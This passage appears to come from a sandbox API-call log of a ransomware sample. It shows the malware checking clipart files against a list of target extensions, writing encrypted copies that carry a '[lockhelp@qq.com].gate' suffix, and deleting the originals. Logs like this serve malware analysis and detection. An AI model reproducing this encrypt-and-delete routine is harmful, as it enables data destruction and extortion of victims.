returned -1 [0296.987] lstrlenW (lpString=".7z") returned 3 [0296.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0296.988] lstrlenW (lpString=".dbf") returned 4 [0296.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0296.988] lstrlenW (lpString=".1cd") returned 4 [0296.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0296.988] lstrlenW (lpString=".jpg") returned 4 [0296.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.989] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2108) returned 1 [0296.989] CloseHandle (hObject=0x514) returned 1 [0296.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0296.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0296.990] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.990] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0296.991] GetLastError () returned 0x0 [0296.991] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x83c, lpOverlapped=0x0) returned 1 [0297.177] WriteFile (in: hFile=0x554, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x840, lpOverlapped=0x0) returned 1 [0297.643] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.644] WriteFile (in: hFile=0x554, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.644] SetEndOfFile (hFile=0x554) returned 1 [0297.644] CloseHandle (hObject=0x554) returned 1 [0297.644] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.644] SetEndOfFile (hFile=0x514) returned 1 [0297.646] CloseHandle (hObject=0x514) returned 1 [0297.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0297.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0297.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0297.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0297.647] lstrlenW (lpString=".doc") returned 4 [0297.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString=".docx") returned 5 [0297.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.648] lstrlenW (lpString=".pdf") returned 4 [0297.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString=".xls") returned 4 [0297.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.648] lstrlenW (lpString=".xlsx") returned 5 [0297.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.648] lstrlenW (lpString=".ppt") returned 4 [0297.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0297.648] lstrlenW (lpString=".zip") returned 4 [0297.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.648] lstrlenW (lpString=".rar") returned 4 [0297.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString=".bz2") returned 4 [0297.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString=".7z") returned 3 [0297.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0297.648] lstrlenW (lpString=".dbf") returned 4 [0297.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0297.648] lstrlenW (lpString=".1cd") returned 4 [0297.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0297.648] lstrlenW (lpString=".jpg") returned 4 [0297.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.729] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=8926) returned 1 [0297.729] CloseHandle (hObject=0x550) returned 1 [0297.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0297.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0297.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0297.732] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.732] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0298.198] GetLastError () returned 0x0 [0298.198] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x22de, lpOverlapped=0x0) returned 1 [0298.315] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x22e0, lpOverlapped=0x0) returned 1 [0298.316] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.316] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.316] SetEndOfFile (hFile=0x514) returned 1 [0298.811] CloseHandle (hObject=0x514) returned 1 [0298.812] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.812] SetEndOfFile (hFile=0x4f0) returned 1 [0298.815] CloseHandle (hObject=0x4f0) returned 1 [0298.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0298.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0298.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.818] lstrlenW (lpString=".doc") returned 4 [0298.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.819] lstrlenW (lpString=".docx") returned 5 [0298.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.819] lstrlenW (lpString=".pdf") returned 4 [0298.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.819] lstrlenW (lpString=".xls") returned 4 [0298.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.819] lstrlenW (lpString=".xlsx") returned 5 [0298.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.819] lstrlenW (lpString=".ppt") returned 4 [0298.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.819] lstrlenW (lpString=".zip") returned 4 [0298.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.819] lstrlenW (lpString=".rar") returned 4 [0298.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.819] lstrlenW (lpString=".bz2") returned 4 [0298.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.819] lstrlenW (lpString=".7z") returned 3 [0298.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.819] lstrlenW (lpString=".dbf") returned 4 [0298.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.819] lstrlenW (lpString=".1cd") returned 4 [0298.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.819] lstrlenW (lpString=".jpg") returned 4 [0298.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.820] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=896) returned 1 [0298.820] CloseHandle (hObject=0x4f0) returned 1 [0298.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0298.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0298.820] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.820] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0298.821] GetLastError () returned 0x0 [0298.821] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x380, lpOverlapped=0x0) returned 1 [0299.127] WriteFile (in: hFile=0x528, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x390, lpOverlapped=0x0) returned 1 [0299.128] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.128] WriteFile (in: hFile=0x528, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.128] SetEndOfFile (hFile=0x528) returned 1 [0299.128] CloseHandle (hObject=0x528) returned 1 [0299.128] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.128] SetEndOfFile (hFile=0x4f0) returned 1 [0299.230] CloseHandle (hObject=0x4f0) returned 1 [0299.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0299.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0299.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0299.232] lstrlenW (lpString=".doc") returned 4 [0299.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.232] lstrlenW (lpString=".docx") returned 5 [0299.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.232] lstrlenW (lpString=".pdf") returned 4 [0299.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.232] lstrlenW (lpString=".xls") returned 4 [0299.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.232] lstrlenW (lpString=".xlsx") returned 5 [0299.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.232] lstrlenW (lpString=".ppt") returned 4 [0299.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0299.232] lstrlenW (lpString=".zip") returned 4 [0299.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.232] lstrlenW (lpString=".rar") returned 4 [0299.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.232] lstrlenW (lpString=".bz2") returned 4 [0299.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.232] lstrlenW (lpString=".7z") returned 3 [0299.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0299.232] lstrlenW (lpString=".dbf") returned 4 [0299.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0299.232] lstrlenW (lpString=".1cd") returned 4 [0299.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0299.232] lstrlenW (lpString=".jpg") returned 4 [0299.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.233] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4634) returned 1 [0299.233] CloseHandle (hObject=0x4f0) returned 1 [0299.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0299.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0299.234] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.234] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0299.241] GetLastError () returned 0x0 [0299.241] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x121a, lpOverlapped=0x0) returned 1 [0299.320] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1220, lpOverlapped=0x0) returned 1 [0299.321] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.321] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.322] SetEndOfFile (hFile=0x564) returned 1 [0299.322] CloseHandle (hObject=0x564) returned 1 [0299.322] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.322] SetEndOfFile (hFile=0x4f0) returned 1 [0299.324] CloseHandle (hObject=0x4f0) returned 1 [0299.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0299.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0299.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0299.325] lstrlenW (lpString=".doc") returned 4 [0299.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.325] lstrlenW (lpString=".docx") returned 5 [0299.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.325] lstrlenW (lpString=".pdf") returned 4 [0299.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.325] lstrlenW (lpString=".xls") returned 4 [0299.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.325] lstrlenW (lpString=".xlsx") returned 5 [0299.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.325] lstrlenW (lpString=".ppt") returned 4 [0299.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0299.325] lstrlenW (lpString=".zip") returned 4 [0299.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.325] lstrlenW (lpString=".rar") returned 4 [0299.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.325] lstrlenW (lpString=".bz2") returned 4 [0299.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.325] lstrlenW (lpString=".7z") returned 3 [0299.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0299.326] lstrlenW (lpString=".dbf") returned 4 [0299.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0299.326] lstrlenW (lpString=".1cd") returned 4 [0299.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0299.326] lstrlenW (lpString=".jpg") returned 4 [0299.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.326] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3964) returned 1 [0299.326] CloseHandle (hObject=0x4f0) returned 1 [0299.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0299.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0299.327] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.327] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0299.327] 